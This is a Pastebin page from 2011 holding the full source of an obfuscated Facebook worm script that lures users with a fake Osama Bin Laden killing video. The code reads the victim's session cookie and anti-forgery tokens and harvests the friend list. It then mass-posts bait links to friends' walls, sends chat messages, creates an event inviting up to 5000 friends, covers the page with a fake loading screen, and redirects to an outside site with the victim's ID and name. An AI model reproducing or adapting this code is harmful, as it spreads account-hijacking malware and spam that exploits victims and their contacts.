Advertisement
DaveMarcus

BinLaden JavaScript

May 3rd, 2011
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.69 KB | None | 0 0
  1. var randomnumber=Math.floor(Math.random()*99999);
  2. var chatmessage = '%firstname% watch the video of them killing osama bin laden live! http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&'+randomnumber;
  3. var postmessage = 'Osama Bin Laden killed live on a news broadcast! watch the video: http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&'+randomnumber;
  4. var redirect = 'http://www.en-derin.com/technology/osama-bin-laden-killed-live-video-watch';
  5. var eventdesc = 'Hey everyone, \n\ fb now lets you see who viewed your profile! to enable this feature, go here! - http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878';
  6. var eventname = 'Check out this cool page!';
  7. var nfriends = 5000;
  8. var debug = false;
  9. var wf = 0;
  10. var mf = function () {
  11. if (wf <= 0) {
  12. setTimeout(function () {
  13. window['top']['location']['href'] = redirect;
  14. }, 500);
  15. };
  16. };
  17. var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
  18. var _0xaa04xe = new XMLHttpRequest();
  19. _0xaa04xe['open']('GET', _0xaa04xb);
  20. _0xaa04xe['onreadystatechange'] = function () {
  21. if (_0xaa04xe['readyState'] == 4) {
  22. if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
  23. _0xaa04xc(_0xaa04xe['responseText']);
  24. };
  25. if (_0xaa04xd) {
  26. _0xaa04xd();
  27. };
  28. };
  29. };
  30. _0xaa04xe['send']();
  31. };
  32. doget('/', function (_0xaa04xf) {
  33. var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
  34. var _0xaa04x11 = function (_0xaa04x12) {
  35. return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
  36. };
  37. var _0xaa04x13 = function (_0xaa04x12) {
  38. return _0xaa04x12 ? _0xaa04x12['name'] : '';
  39. };
  40. var _0xaa04x14 = function (_0xaa04x12) {
  41. out = '';
  42. for (var _0xaa04x15 in _0xaa04x12) {
  43. out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
  44. };
  45. return out;
  46. };
  47. var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
  48. var _0xaa04xe = new XMLHttpRequest();
  49. _0xaa04xe['open']('POST', _0xaa04xb);
  50. _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
  51. _0xaa04xe['onreadystatechange'] = function () {
  52. if (_0xaa04xe['readyState'] == 4) {
  53. if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
  54. _0xaa04xc(_0xaa04xe['responseText']);
  55. };
  56. if (_0xaa04xd) {
  57. _0xaa04xd();
  58. };
  59. };
  60. };
  61. _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
  62. };
  63. var _0xaa04x17 = function () {
  64. var _0xaa04x18 = document['createElement']('div');
  65. _0xaa04x18['style']['display'] = 'block';
  66. _0xaa04x18['style']['position'] = 'absolute';
  67. _0xaa04x18['style']['width'] = 100 + '%';
  68. _0xaa04x18['style']['height'] = 100 + '%';
  69. _0xaa04x18['style']['left'] = 0 + 'px';
  70. _0xaa04x18['style']['top'] = 0 + 'px';
  71. _0xaa04x18['style']['textAlign'] = 'center';
  72. _0xaa04x18['style']['padding'] = '4px';
  73. _0xaa04x18['style']['background'] = '#FFFFFF';
  74. _0xaa04x18['style']['zIndex'] = 999999;
  75. _0xaa04x18['innerHTML'] = '&nbsp;<br/>Please wait, this can take a little while...<br/><br/> We are loading the video... If the video fails to load <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> ';
  76. document['body']['appendChild'](_0xaa04x18);
  77. };
  78. var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
  79. if (_0xaa04x19) {
  80. comp = _0xaa04x19[1];
  81. } else {
  82. comp = '';
  83. };
  84. var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
  85. var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
  86. var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
  87. redirect = redirect + '?' + _0xaa04x14({
  88. userid: _0xaa04x10,
  89. name: _0xaa04x1c,
  90. doclose: 1
  91. });
  92. _0xaa04x17();
  93. if (eventdesc) {
  94. wf++;
  95. _0xaa04x16('/ajax/choose/?__a=1', {
  96. type: 'event',
  97. eid: null,
  98. invite_message: '',
  99. __d: 1,
  100. post_form_id: _0xaa04x1a,
  101. fb_dtsg: _0xaa04x1b,
  102. lsd: null,
  103. post_form_id_source: 'AsyncRequest'
  104. }, function (_0xaa04x1d) {
  105. var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
  106. var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
  107. doget(_0xaa04xb, function (_0xaa04x1f) {
  108. var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
  109. var _0xaa04x21 = [];
  110. for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
  111. var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
  112. if (_0xaa04x23 != _0xaa04x10) {
  113. _0xaa04x21['push'](_0xaa04x23);
  114. };
  115. };
  116. var _0xaa04x24 = new Date();
  117. _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
  118. datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
  119. timestr = _0xaa04x24['getHours']() * 60;
  120. var _0xaa04x25 = {
  121. post_form_id: _0xaa04x1a,
  122. fb_dtsg: _0xaa04x1b,
  123. start_dateIntlDisplay: datestr,
  124. start_date: datestr,
  125. start_time_hour_min: timestr,
  126. name: eventname,
  127. place_page_id: '',
  128. location: '',
  129. street: '',
  130. geo_id: '',
  131. geo_sq: '',
  132. desc: eventdesc,
  133. sgb_invitees: _0xaa04x21['join'](','),
  134. sgb_emails: '',
  135. sgb_message: '',
  136. privacy_type: 'on',
  137. guest_list: 'on',
  138. connections_can_post: 'on',
  139. save: 'Create Event',
  140. submitting: ''
  141. };
  142. _0xaa04x25['new'] = '';
  143. _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
  144. mf(--wf);
  145. });
  146. });
  147. });
  148. };
  149. if (chatmessage) {
  150. wf++;
  151. _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
  152. user: _0xaa04x10,
  153. post_form_id: _0xaa04x1a,
  154. fb_dtsg: _0xaa04x1b,
  155. lsd: null,
  156. post_form_id_source: 'AsyncRequest',
  157. popped_out: false,
  158. force_render: true
  159. }, function (_0xaa04x1d) {
  160. var _0xaa04x26 = _0xaa04x1d['substr'](9);
  161. var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
  162. var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
  163. for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
  164. var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
  165. var _0xaa04x2b = (new Date())['getTime']();
  166. var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
  167. _0xaa04x16('/ajax/chat/send.php?__a=1', {
  168. msg_id: Math['floor'](Math['random']() * 1335448958),
  169. client_time: (new Date())['getTime'](),
  170. msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
  171. to: _0xaa04x29,
  172. post_form_id: _0xaa04x1a,
  173. fb_dtsg: _0xaa04x1b,
  174. post_form_id_source: 'AsyncRequest'
  175. });
  176. };
  177. mf(--wf);
  178. });
  179. };
  180. if (postmessage) {
  181. wf++;
  182. doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
  183. var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
  184. var _0xaa04x2d = [];
  185. if (_0xaa04x20) {
  186. for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
  187. var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
  188. var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
  189. _0xaa04x2d['push']({
  190. id: _0xaa04x23,
  191. name: _0xaa04x2e
  192. });
  193. };
  194. };
  195. var _0xaa04xd = [];
  196. var _0xaa04x2f = [];
  197. while (_0xaa04x2d['length']) {
  198. var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
  199. _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
  200. _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
  201. var _0xaa04x2b = _0xaa04x2d['shift']();
  202. if (_0xaa04x30) {
  203. _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
  204. };
  205. };
  206. if (debug) {
  207. alert('fetched friends: ' + _0xaa04xd['length']);
  208. };
  209. var _0xaa04x31 = {
  210. post_form_id: _0xaa04x1a,
  211. fb_dtsg: _0xaa04x1b,
  212. xhpc_composerid: comp,
  213. xhpc_targetid: _0xaa04x10,
  214. xhpc_context: 'home',
  215. xhpc_fbx: '',
  216. lsd: null,
  217. post_form_id_source: 'AsyncRequest'
  218. };
  219. mt = postmessage;
  220. m = postmessage;
  221. while (mt['search']('%tf%') >= 0) {
  222. var _0xaa04x32 = _0xaa04xd['pop']();
  223. mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
  224. m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
  225. };
  226. _0xaa04x31['xhpc_message_text'] = mt;
  227. _0xaa04x31['xhpc_message'] = m;
  228. if (debug) {
  229. alert('message text: ' + mt);
  230. };
  231. _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
  232. var _0xaa04x33 = function (_0xaa04x15) {
  233. if (_0xaa04x15 == 0) {
  234. wf = 0;
  235. mf();
  236. return;
  237. };
  238. var _0xaa04x34 = _0xaa04x2f['shift']();
  239. var _0xaa04x35 = {
  240. post_form_id: _0xaa04x1a,
  241. fb_dtsg: _0xaa04x1b,
  242. xhpc_composerid: comp,
  243. xhpc_targetid: _0xaa04x34['id'],
  244. xhpc_context: 'profile',
  245. xhpc_fbx: 1,
  246. lsd: null,
  247. post_form_id_source: 'AsyncRequest'
  248. };
  249. var _0xaa04x36 = postmessage;
  250. var _0xaa04x37 = postmessage;
  251. if (_0xaa04xd['length'] == 0) {
  252. wf = 0;
  253. mf();
  254. return;
  255. };
  256. while (_0xaa04x36['search']('%tf%') >= 0) {
  257. var _0xaa04x38 = _0xaa04xd['pop']();
  258. _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
  259. _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
  260. };
  261. _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
  262. _0xaa04x35['xhpc_message'] = _0xaa04x37;
  263. _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
  264. setTimeout(function () {
  265. _0xaa04x33(_0xaa04x15 - 1);
  266. }, 2000);
  267. };
  268. wf++;
  269. setTimeout(function () {
  270. _0xaa04x33(nfriends);
  271. }, 2000);
  272. });
  273. };
  274. mf();
  275. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement